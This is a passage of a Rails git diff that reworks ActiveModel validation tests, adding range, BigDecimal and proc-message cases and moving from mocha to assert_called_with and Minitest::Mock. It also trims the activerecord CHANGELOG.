@@ class ConfirmationValidationTest < ActiveModel::TestCase assert_equal "expected title", model.title_confirmation, "confirmation validation should not override the writer" end + + def test_title_confirmation_with_case_sensitive_option_true + Topic.validates_confirmation_of(:title, case_sensitive: true) + + t = Topic.new(title: "title", title_confirmation: "Title") + assert t.invalid? + end + + def test_title_confirmation_with_case_sensitive_option_false + Topic.validates_confirmation_of(:title, case_sensitive: false) + + t = Topic.new(title: "title", title_confirmation: "Title") + assert t.valid? + end end diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb index b269c3691a..005bc15df5 100644 --- a/activemodel/test/cases/validations/exclusion_validation_test.rb +++ b/activemodel/test/cases/validations/exclusion_validation_test.rb @@ -1,4 +1,5 @@ require 'cases/helper' +require 'active_support/core_ext/numeric/time' require 'models/topic' require 'models/person' @@ -64,6 +65,22 @@ class ExclusionValidationTest < ActiveModel::TestCase assert t.valid? end + def test_validates_exclusion_of_with_range + Topic.validates_exclusion_of :content, in: ("a".."g") + + assert Topic.new(content: 'g').invalid? + assert Topic.new(content: 'h').valid? + end + + def test_validates_exclusion_of_with_time_range + Topic.validates_exclusion_of :created_at, in: 6.days.ago..2.days.ago + + assert Topic.new(created_at: 5.days.ago).invalid? + assert Topic.new(created_at: 3.days.ago).invalid? + assert Topic.new(created_at: 7.days.ago).valid? + assert Topic.new(created_at: 1.day.ago).valid? + end + def test_validates_inclusion_of_with_symbol Person.validates_exclusion_of :karma, in: :reserved_karmas diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb index 86bbbe6ebe..ea4c2ee7df 100644 --- a/activemodel/test/cases/validations/format_validation_test.rb +++ b/activemodel/test/cases/validations/format_validation_test.rb @@ -73,7 +73,7 @@ class PresenceValidationTest < ActiveModel::TestCase end def test_validate_format_of_with_multiline_regexp_and_option - assert_nothing_raised(ArgumentError) do + assert_nothing_raised do Topic.validates_format_of(:title, with: /^Valid Title$/, multiline: true) end end diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb index 70ee7afecc..09d7226b5a 100644 --- a/activemodel/test/cases/validations/i18n_validation_test.rb +++ b/activemodel/test/cases/validations/i18n_validation_test.rb @@ -30,8 +30,9 @@ class I18nValidationTest < ActiveModel::TestCase def test_errors_full_messages_translates_human_attribute_name_for_model_attributes @person.errors.add(:name, 'not found') - Person.expects(:human_attribute_name).with(:name, default: 'Name').returns("Person's name") - assert_equal ["Person's name not found"], @person.errors.full_messages + assert_called_with(Person, :human_attribute_name, [:name, default: 'Name'], returns: "Person's name") do + assert_equal ["Person's name not found"], @person.errors.full_messages + end end def test_errors_full_messages_uses_format @@ -54,176 +55,175 @@ class I18nValidationTest < ActiveModel::TestCase [ "given option that is not reserved", { format: "jpg" }, { format: "jpg" }] ] - # validates_confirmation_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_confirmation_of on generated message #{name}" do Person.validates_confirmation_of :title, validation_options @person.title_confirmation = 'foo' - @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(attribute: 'Title')) - @person.valid? + call = [:title_confirmation, :confirmation, generate_message_options.merge(attribute: 'Title')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_acceptance_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_acceptance_of on generated message #{name}" do Person.validates_acceptance_of :title, validation_options.merge(allow_nil: false) - @person.errors.expects(:generate_message).with(:title, :accepted, generate_message_options) - @person.valid? + call = [:title, :accepted, generate_message_options] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_presence_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_presence_of on generated message #{name}" do Person.validates_presence_of :title, validation_options - @person.errors.expects(:generate_message).with(:title, :blank, generate_message_options) - @person.valid? + call = [:title, :blank, generate_message_options] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_length_of :within too short w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| - test "validates_length_of for :withing on generated message when too short #{name}" do + test "validates_length_of for :within on generated message when too short #{name}" do Person.validates_length_of :title, validation_options.merge(within: 3..5) - @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(count: 3)) - @person.valid? + call = [:title, :too_short, generate_message_options.merge(count: 3)] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_length_of :within too long w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_length_of for :too_long generated message #{name}" do Person.validates_length_of :title, validation_options.merge(within: 3..5) @person.title = 'this title is too long' - @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(count: 5)) - @person.valid? + call = [:title, :too_long, generate_message_options.merge(count: 5)] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_length_of :is w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_length_of for :is on generated message #{name}" do Person.validates_length_of :title, validation_options.merge(is: 5) - @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(count: 5)) - @person.valid? + call = [:title, :wrong_length, generate_message_options.merge(count: 5)] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_format_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_format_of on generated message #{name}" do Person.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/) @person.title = '72x' - @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(value: '72x')) - @person.valid? + call = [:title, :invalid, generate_message_options.merge(value: '72x')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_inclusion_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_inclusion_of on generated message #{name}" do Person.validates_inclusion_of :title, validation_options.merge(in: %w(a b c)) @person.title = 'z' - @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z')) - @person.valid? + call = [:title, :inclusion, generate_message_options.merge(value: 'z')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_inclusion_of using :within w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_inclusion_of using :within on generated message #{name}" do Person.validates_inclusion_of :title, validation_options.merge(within: %w(a b c)) @person.title = 'z' - @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z')) - @person.valid? + call = [:title, :inclusion, generate_message_options.merge(value: 'z')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_exclusion_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_exclusion_of generated message #{name}" do Person.validates_exclusion_of :title, validation_options.merge(in: %w(a b c)) @person.title = 'a' - @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a')) - @person.valid? + call = [:title, :exclusion, generate_message_options.merge(value: 'a')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_exclusion_of using :within w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_exclusion_of using :within generated message #{name}" do Person.validates_exclusion_of :title, validation_options.merge(within: %w(a b c)) @person.title = 'a' - @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a')) - @person.valid? + call = [:title, :exclusion, generate_message_options.merge(value: 'a')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_numericality_of without :only_integer w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_numericality_of generated message #{name}" do Person.validates_numericality_of :title, validation_options @person.title = 'a' - @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(value: 'a')) - @person.valid? + call = [:title, :not_a_number, generate_message_options.merge(value: 'a')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_numericality_of with :only_integer w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_numericality_of for :only_integer on generated message #{name}" do Person.validates_numericality_of :title, validation_options.merge(only_integer: true) @person.title = '0.0' - @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(value: '0.0')) - @person.valid? + call = [:title, :not_an_integer, generate_message_options.merge(value: '0.0')] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_numericality_of :odd w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_numericality_of for :odd on generated message #{name}" do Person.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true) @person.title = 0 - @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(value: 0)) - @person.valid? + call = [:title, :odd, generate_message_options.merge(value: 0)] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - # validates_numericality_of :less_than w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_numericality_of for :less_than on generated message #{name}" do Person.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0) @person.title = 1 - @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(value: 1, count: 0)) - @person.valid? + call = [:title, :less_than, generate_message_options.merge(value: 1, count: 0)] + assert_called_with(@person.errors, :generate_message, call) do + @person.valid? + end end end - - # To make things DRY this macro is defined to define 3 tests for every validation case. + # To make things DRY this macro is created to define 3 tests for every validation case. def self.set_expectations_for_validation(validation, error_type, &block_that_sets_validation) if error_type == :confirmation attribute = :title_confirmation else attribute = :title end - # test "validates_confirmation_of finds custom model key translation when blank" + test "#{validation} finds custom model key translation when #{error_type}" do I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message' } } } } } } I18n.backend.store_translations 'en', errors: { messages: { error_type => 'global message'}} @@ -233,7 +233,6 @@ class I18nValidationTest < ActiveModel::TestCase assert_equal ['custom message'], @person.errors[attribute] end - # test "validates_confirmation_of finds custom model key translation with interpolation when blank" test "#{validation} finds custom model key translation with interpolation when #{error_type}" do I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message with %{extra}' } } } } } } I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} } @@ -243,7 +242,6 @@ class I18nValidationTest < ActiveModel::TestCase assert_equal ['custom message with extra information'], @person.errors[attribute] end - # test "validates_confirmation_of finds global default key translation when blank" test "#{validation} finds global default key translation when #{error_type}" do I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} } @@ -253,27 +251,19 @@ class I18nValidationTest < ActiveModel::TestCase end end - # validates_confirmation_of w/o mocha - set_expectations_for_validation "validates_confirmation_of", :confirmation do |person, options_to_merge| Person.validates_confirmation_of :title, options_to_merge person.title_confirmation = 'foo' end - # validates_acceptance_of w/o mocha - set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge| Person.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false) end - # validates_presence_of w/o mocha - set_expectations_for_validation "validates_presence_of", :blank do |person, options_to_merge| Person.validates_presence_of :title, options_to_merge end - # validates_length_of :within w/o mocha - set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge| Person.validates_length_of :title, options_to_merge.merge(within: 3..5) end @@ -283,61 +273,43 @@ class I18nValidationTest < ActiveModel::TestCase person.title = "too long" end - # validates_length_of :is w/o mocha - set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge| Person.validates_length_of :title, options_to_merge.merge(is: 5) end - # validates_format_of w/o mocha - set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge| Person.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/) end - # validates_inclusion_of w/o mocha - set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge| Person.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c)) end - # validates_exclusion_of w/o mocha - set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge| Person.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c)) person.title = 'a' end - # validates_numericality_of without :only_integer w/o mocha - set_expectations_for_validation "validates_numericality_of", :not_a_number do |person, options_to_merge| Person.validates_numericality_of :title, options_to_merge person.title = 'a' end - # validates_numericality_of with :only_integer w/o mocha - set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge| Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true) person.title = '1.0' end - # validates_numericality_of :odd w/o mocha - set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge| Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true) person.title = 0 end - # validates_numericality_of :less_than w/o mocha - set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge| Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0) person.title = 1 end - # test with validates_with - def test_validations_with_message_symbol_must_translate I18n.backend.store_translations 'en', errors: { messages: { custom_error: "I am a custom error" } } Person.validates_presence_of :title, message: :custom_error diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb index 55d1fb4dcb..9bd44175a6 100644 --- a/activemodel/test/cases/validations/inclusion_validation_test.rb +++ b/activemodel/test/cases/validations/inclusion_validation_test.rb @@ -21,24 +21,38 @@ class InclusionValidationTest < ActiveModel::TestCase end def test_validates_inclusion_of_time_range - Topic.validates_inclusion_of(:created_at, in: 1.year.ago..Time.now) + range_begin = 1.year.ago + range_end = Time.now + Topic.validates_inclusion_of(:created_at, in: range_begin..range_end) assert Topic.new(title: 'aaa', created_at: 2.years.ago).invalid? assert Topic.new(title: 'aaa', created_at: 3.months.ago).valid? assert Topic.new(title: 'aaa', created_at: 37.weeks.from_now).invalid? + assert Topic.new(title: 'aaa', created_at: range_begin).valid? + assert Topic.new(title: 'aaa', created_at: range_end).valid? end def test_validates_inclusion_of_date_range - Topic.validates_inclusion_of(:created_at, in: 1.year.until(Date.today)..Date.today) + range_begin = 1.year.until(Date.today) + range_end = Date.today + Topic.validates_inclusion_of(:created_at, in: range_begin..range_end) assert Topic.new(title: 'aaa', created_at: 2.years.until(Date.today)).invalid? assert Topic.new(title: 'aaa', created_at: 3.months.until(Date.today)).valid? assert Topic.new(title: 'aaa', created_at: 37.weeks.since(Date.today)).invalid? + assert Topic.new(title: 'aaa', created_at: 1.year.until(Date.today)).valid? + assert Topic.new(title: 'aaa', created_at: Date.today).valid? + assert Topic.new(title: 'aaa', created_at: range_begin).valid? + assert Topic.new(title: 'aaa', created_at: range_end).valid? end def test_validates_inclusion_of_date_time_range - Topic.validates_inclusion_of(:created_at, in: 1.year.until(DateTime.current)..DateTime.current) + range_begin = 1.year.until(DateTime.current) + range_end = DateTime.current + Topic.validates_inclusion_of(:created_at, in: range_begin..range_end) assert Topic.new(title: 'aaa', created_at: 2.years.until(DateTime.current)).invalid? assert Topic.new(title: 'aaa', created_at: 3.months.until(DateTime.current)).valid? assert Topic.new(title: 'aaa', created_at: 37.weeks.since(DateTime.current)).invalid? + assert Topic.new(title: 'aaa', created_at: range_begin).valid? + assert Topic.new(title: 'aaa', created_at: range_end).valid? end def test_validates_inclusion_of @@ -58,9 +72,9 @@ class InclusionValidationTest < ActiveModel::TestCase assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: nil) } assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: 0) } - assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: "hi!") } - assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: {}) } - assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: []) } + assert_nothing_raised { Topic.validates_inclusion_of(:title, in: "hi!") } + assert_nothing_raised { Topic.validates_inclusion_of(:title, in: {}) } + assert_nothing_raised { Topic.validates_inclusion_of(:title, in: []) } end def test_validates_inclusion_of_with_allow_nil diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb index 209903898e..ee901b75fb 100644 --- a/activemodel/test/cases/validations/length_validation_test.rb +++ b/activemodel/test/cases/validations/length_validation_test.rb @@ -319,8 +319,14 @@ class LengthValidationTest < ActiveModel::TestCase end def test_validates_length_of_with_block - Topic.validates_length_of :content, minimum: 5, too_short: "Your essay must be at least %{count} words.", - tokenizer: lambda {|str| str.scan(/\w+/) } + assert_deprecated do + Topic.validates_length_of( + :content, + minimum: 5, + too_short: "Your essay must be at least %{count} words.", + tokenizer: lambda {|str| str.scan(/\w+/) }, + ) + end t = Topic.new(content: "this content should be long enough") assert t.valid? @@ -332,8 +338,14 @@ class LengthValidationTest < ActiveModel::TestCase def test_validates_length_of_with_symbol - Topic.validates_length_of :content, minimum: 5, too_short: "Your essay must be at least %{count} words.", - tokenizer: :my_word_tokenizer + assert_deprecated do + Topic.validates_length_of( + :content, + minimum: 5, + too_short: "Your essay must be at least %{count} words.", + tokenizer: :my_word_tokenizer, + ) + end t = Topic.new(content: "this content should be long enough") assert t.valid? diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb index 05432abaff..74a048537d 100644 --- a/activemodel/test/cases/validations/numericality_validation_test.rb +++ b/activemodel/test/cases/validations/numericality_validation_test.rb @@ -4,6 +4,7 @@ require 'models/topic' require 'models/person' require 'bigdecimal' +require 'active_support/core_ext/big_decimal' class NumericalityValidationTest < ActiveModel::TestCase @@ -71,6 +72,20 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([11]) end + def test_validates_numericality_with_greater_than_using_differing_numeric_types + Topic.validates_numericality_of :approved, greater_than: BigDecimal.new('97.18') + + invalid!([-97.18, BigDecimal.new('97.18'), BigDecimal('-97.18')], 'must be greater than 97.18') + valid!([97.18, 98, BigDecimal.new('98')]) # Notice the 97.18 as a float is greater than 97.18 as a BigDecimal due to floating point precision + end + + def test_validates_numericality_with_greater_than_using_string_value + Topic.validates_numericality_of :approved, greater_than: 10 + + invalid!(['-10', '9', '9.9', '10'], 'must be greater than 10') + valid!(['10.1', '11']) + end + def test_validates_numericality_with_greater_than_or_equal Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10 @@ -78,6 +93,20 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([10]) end + def test_validates_numericality_with_greater_than_or_equal_using_differing_numeric_types + Topic.validates_numericality_of :approved, greater_than_or_equal_to: BigDecimal.new('97.18') + + invalid!([-97.18, 97.17, 97, BigDecimal.new('97.17'), BigDecimal.new('-97.18')], 'must be greater than or equal to 97.18') + valid!([97.18, 98, BigDecimal.new('97.19')]) + end + + def test_validates_numericality_with_greater_than_or_equal_using_string_value + Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10 + + invalid!(['-10', '9', '9.9'], 'must be greater than or equal to 10') + valid!(['10', '10.1', '11']) + end + def test_validates_numericality_with_equal_to Topic.validates_numericality_of :approved, equal_to: 10 @@ -85,6 +114,20 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([10]) end + def test_validates_numericality_with_equal_to_using_differing_numeric_types + Topic.validates_numericality_of :approved, equal_to: BigDecimal.new('97.18') + + invalid!([-97.18, 97.18], 'must be equal to 97.18') + valid!([BigDecimal.new('97.18')]) + end + + def test_validates_numericality_with_equal_to_using_string_value + Topic.validates_numericality_of :approved, equal_to: 10 + + invalid!(['-10', '9', '9.9', '10.1', '11'], 'must be equal to 10') + valid!(['10']) + end + def test_validates_numericality_with_less_than Topic.validates_numericality_of :approved, less_than: 10 @@ -92,6 +135,20 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([-9, 9]) end + def test_validates_numericality_with_less_than_using_differing_numeric_types + Topic.validates_numericality_of :approved, less_than: BigDecimal.new('97.18') + + invalid!([97.18, BigDecimal.new('97.18')], 'must be less than 97.18') + valid!([-97.0, 97.0, -97, 97, BigDecimal.new('-97'), BigDecimal.new('97')]) + end + + def test_validates_numericality_with_less_than_using_string_value + Topic.validates_numericality_of :approved, less_than: 10 + + invalid!(['10', '10.1', '11'], 'must be less than 10') + valid!(['-10', '9', '9.9']) + end + def test_validates_numericality_with_less_than_or_equal_to Topic.validates_numericality_of :approved, less_than_or_equal_to: 10 @@ -99,6 +156,20 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([-10, 10]) end + def test_validates_numericality_with_less_than_or_equal_to_using_differing_numeric_types + Topic.validates_numericality_of :approved, less_than_or_equal_to: BigDecimal.new('97.18') + + invalid!([97.18, 98], 'must be less than or equal to 97.18') + valid!([-97.18, BigDecimal.new('-97.18'), BigDecimal.new('97.18')]) + end + + def test_validates_numericality_with_less_than_or_equal_using_string_value + Topic.validates_numericality_of :approved, less_than_or_equal_to: 10 + + invalid!(['10.1', '11'], 'must be less than or equal to 10') + valid!(['-10', '9', '9.9', '10']) + end + def test_validates_numericality_with_odd Topic.validates_numericality_of :approved, odd: true @@ -127,6 +198,13 @@ class NumericalityValidationTest < ActiveModel::TestCase valid!([-1, 42]) end + def test_validates_numericality_with_other_than_using_string_value + Topic.validates_numericality_of :approved, other_than: 0 + + invalid!(['0', '0.0']) + valid!(['-1', '1.1', '42']) + end + def test_validates_numericality_with_proc Topic.send(:define_method, :min_approved, lambda { 5 }) Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new(&:min_approved) @@ -196,7 +274,7 @@ class NumericalityValidationTest < ActiveModel::TestCase def valid!(values) with_each_topic_approved_value(values) do |topic, value| - assert topic.valid?, "#{value.inspect} not accepted as a number" + assert topic.valid?, "#{value.inspect} not accepted as a number with validation error: #{topic.errors[:approved].first}" end end diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb index 150dce379f..b901a1523e 100644 --- a/activemodel/test/cases/validations/validations_context_test.rb +++ b/activemodel/test/cases/validations/validations_context_test.rb @@ -8,6 +8,7 @@ class ValidationsContextTest < ActiveModel::TestCase end ERROR_MESSAGE = "Validation error from validator" + ANOTHER_ERROR_MESSAGE = "Another validation error from validator" class ValidatorThatAddsErrors < ActiveModel::Validator def validate(record) @@ -15,6 +16,12 @@ class ValidationsContextTest < ActiveModel::TestCase end end + class AnotherValidatorThatAddsErrors < ActiveModel::Validator + def validate(record) + record.errors[:base] << ANOTHER_ERROR_MESSAGE + end + end + test "with a class that adds errors on create and validating a new model with no arguments" do Topic.validates_with(ValidatorThatAddsErrors, on: :create) topic = Topic.new @@ -46,4 +53,16 @@ class ValidationsContextTest < ActiveModel::TestCase assert topic.invalid?(:context2), "Validation did not run on context2 when 'on' is set to context1 and context2" assert topic.errors[:base].include?(ERROR_MESSAGE) end + + test "with a class that validating a model for a multiple contexts" do + Topic.validates_with(ValidatorThatAddsErrors, on: :context1) + Topic.validates_with(AnotherValidatorThatAddsErrors, on: :context2) + + topic = Topic.new + assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2" + + assert topic.invalid?([:context1, :context2]), "Validation did not run on context1 when 'on' is set to context1 and context2" + assert topic.errors[:base].include?(ERROR_MESSAGE) + assert topic.errors[:base].include?(ANOTHER_ERROR_MESSAGE) + end end diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb index 01804032f0..c73580138d 100644 --- a/activemodel/test/cases/validations/with_validation_test.rb +++ b/activemodel/test/cases/validations/with_validation_test.rb @@ -97,12 +97,15 @@ class ValidatesWithTest < ActiveModel::TestCase test "passes all configuration options to the validator class" do topic = Topic.new - validator = mock() - validator.expects(:new).with(foo: :bar, if: "1 == 1", class: Topic).returns(validator) - validator.expects(:validate).with(topic) + validator = Minitest::Mock.new + validator.expect(:new, validator, [{foo: :bar, if: "1 == 1", class: Topic}]) + validator.expect(:validate, nil, [topic]) + validator.expect(:is_a?, false, [Symbol]) + validator.expect(:is_a?, false, [String]) Topic.validates_with(validator, if: "1 == 1", foo: :bar) assert topic.valid? + validator.verify end test "validates_with with options" do diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb index f0317ad219..2a4e9f842f 100644 --- a/activemodel/test/cases/validations_test.rb +++ b/activemodel/test/cases/validations_test.rb @@ -444,4 +444,20 @@ class ValidationsTest < ActiveModel::TestCase assert topic.invalid? assert duped.valid? end + + def test_validation_with_message_as_proc_that_takes_a_record_as_a_parameter + Topic.validates_presence_of(:title, message: proc { |record| "You have failed me for the last time, #{record.author_name}." }) + + t = Topic.new(author_name: 'Admiral') + assert t.invalid? + assert_equal ["You have failed me for the last time, Admiral."], t.errors[:title] + end + + def test_validation_with_message_as_proc_that_takes_record_and_data_as_a_parameters + Topic.validates_presence_of(:title, message: proc { |record, data| "#{data[:attribute]} is missing. You have failed me for the last time, #{record.author_name}." }) + + t = Topic.new(author_name: 'Admiral') + assert t.invalid? + assert_equal ["Title is missing. You have failed me for the last time, Admiral."], t.errors[:title] + end end diff --git a/activemodel/test/config.rb b/activemodel/test/config.rb deleted file mode 100644 index 0b577a9936..0000000000 --- a/activemodel/test/config.rb +++ /dev/null @@ -1,3 +0,0 @@ -TEST_ROOT = File.expand_path(File.dirname(__FILE__)) -FIXTURES_ROOT = TEST_ROOT + "/fixtures" -SCHEMA_FILE = TEST_ROOT + "/schema.rb" diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb index bcfd267a34..113ab0bc1f 100644 --- a/activemodel/test/models/contact.rb +++ b/activemodel/test/models/contact.rb @@ -4,7 +4,6 @@ class Contact include ActiveModel::Validations include ActiveModel::Serializers::JSON - include ActiveModel::Serializers::Xml attr_accessor :id, :name, :age, :created_at, :awesome, :preferences attr_accessor :address, :friends, :contact diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md index 82d7ab353d..c677178253 100644 --- a/activerecord/CHANGELOG.md +++ b/activerecord/CHANGELOG.md @@ -1,701 +1,6 @@ -* Reuse the `CollectionAssociation#reader` cache when the foreign key is - available prior to save. +* Handle JSON deserialization correctly if the column default from database + adapter returns `''` instead of `nil`. - *Ben Woosley* + *Johannes Opper* -* Add `config.active_record.dump_schemas` to fix `db:structure:dump` - when using schema_search_path and PostgreSQL extensions. - - Fixes #17157. - - *Ryan Wallace* - -* Renaming `use_transactional_fixtures` to `use_transactional_tests` for clarity. - - Fixes #18864. - - *Brandon Weiss* - -* Increase pg gem version requirement to `~> 0.18`. Earlier versions of the - pg gem are known to have problems with Ruby 2.2. - - *Matt Brictson* - -* Correctly dump `serial` and `bigserial`. - - *Ryuta Kamizono* - -* Fix default `format` value in `ActiveRecord::Tasks::DatabaseTasks#schema_file`. - - *James Cox* - -* Don't enroll records in the transaction if they don't have commit callbacks. - This was causing a memory leak when creating many records inside a transaction. - - Fixes #15549. - - *Will Bryant*, *Aaron Patterson* - -* Correctly create through records when created on a has many through - association when using `where`. - - Fixes #19073. - - *Sean Griffin* - -* Add `SchemaMigration.create_table` support for any unicode charsets with MySQL. - - *Ryuta Kamizono* - -* PostgreSQL no longer disables user triggers if system triggers can't be - disabled. Disabling user triggers does not fulfill what the method promises. - Rails currently requires superuser privileges for this method. - - If you absolutely rely on this behavior, consider patching - `disable_referential_integrity`. - - *Yves Senn* - -* Restore aborted transaction state when `disable_referential_integrity` fails - due to missing permissions. - - *Toby Ovod-Everett*, *Yves Senn* - -* In PostgreSQL, print a warning message if `disable_referential_integrity` - fails due to missing permissions. - - *Andrey Nering*, *Yves Senn* - -* Allow a `:limit` option for MySQL bigint primary key support. - - Example: - - create_table :foos, id: :primary_key, limit: 8 do |t| - end - - # or - - create_table :foos, id: false do |t| - t.primary_key :id, limit: 8 - end - - *Ryuta Kamizono* - -* `belongs_to` will now trigger a validation error by default if the association is not present. - You can turn this off on a per-association basis with `optional: true`. - (Note this new default only applies to new Rails apps that will be generated with - `config.active_record.belongs_to_required_by_default = true` in initializer.) - - *Josef Å imánek* - -* Fixed ActiveRecord::Relation#becomes! and changed_attributes issues for type - columns. - - Fixes #17139. - - *Miklos Fazekas* - -* Format the time string according to the precision of the time column. - - *Ryuta Kamizono* - -* Allow a `:precision` option for time type columns. - - *Ryuta Kamizono* - -* Add `ActiveRecord::Base.suppress` to prevent the receiver from being saved - during the given block. - - For example, here's a pattern of creating notifications when new comments - are posted. (The notification may in turn trigger an email, a push - notification, or just appear in the UI somewhere): - - class Comment < ActiveRecord::Base - belongs_to :commentable, polymorphic: true - after_create -> { Notification.create! comment: self, - recipients: commentable.recipients } - end - - That's what you want the bulk of the time. A new comment creates a new - Notification. There may be edge cases where you don't want that, like - when copying a commentable and its comments, in which case write a - concern with something like this: - - module Copyable - def copy_to(destination) - Notification.suppress do - # Copy logic that creates new comments that we do not want triggering - # notifications. - end - end - end - - *Michael Ryan* - -* `:time` option added for `#touch`. - - Fixes #18905. - - *Hyonjee Joo* - -* Deprecate passing of `start` value to `find_in_batches` and `find_each` - in favour of `begin_at` value. - - *Vipul A M* - -* Add `foreign_key_exists?` method. - - *Tõnis Simo* - -* Use SQL COUNT and LIMIT 1 queries for `none?` and `one?` methods - if no block or limit is given, instead of loading the entire - collection into memory. This applies to relations (e.g. `User.all`) - as well as associations (e.g. `account.users`) - - # Before: - - users.none? - # SELECT "users".* FROM "users" - - users.one? - # SELECT "users".* FROM "users" - - # After: - - users.none? - # SELECT 1 AS one FROM "users" LIMIT 1 - - users.one? - # SELECT COUNT(*) FROM "users" - - *Eugene Gilburg* - -* Have `enum` perform type casting consistently with the rest of Active - Record, such as `where`. - - *Sean Griffin* - -* `scoping` no longer pollutes the current scope of sibling classes when using - STI. e.x. - - StiOne.none.scoping do - StiTwo.all - end - - Fixes #18806. - - *Sean Griffin* - -* `remove_reference` with `foreign_key: true` removes the foreign key before - removing the column. This fixes a bug where it was not possible 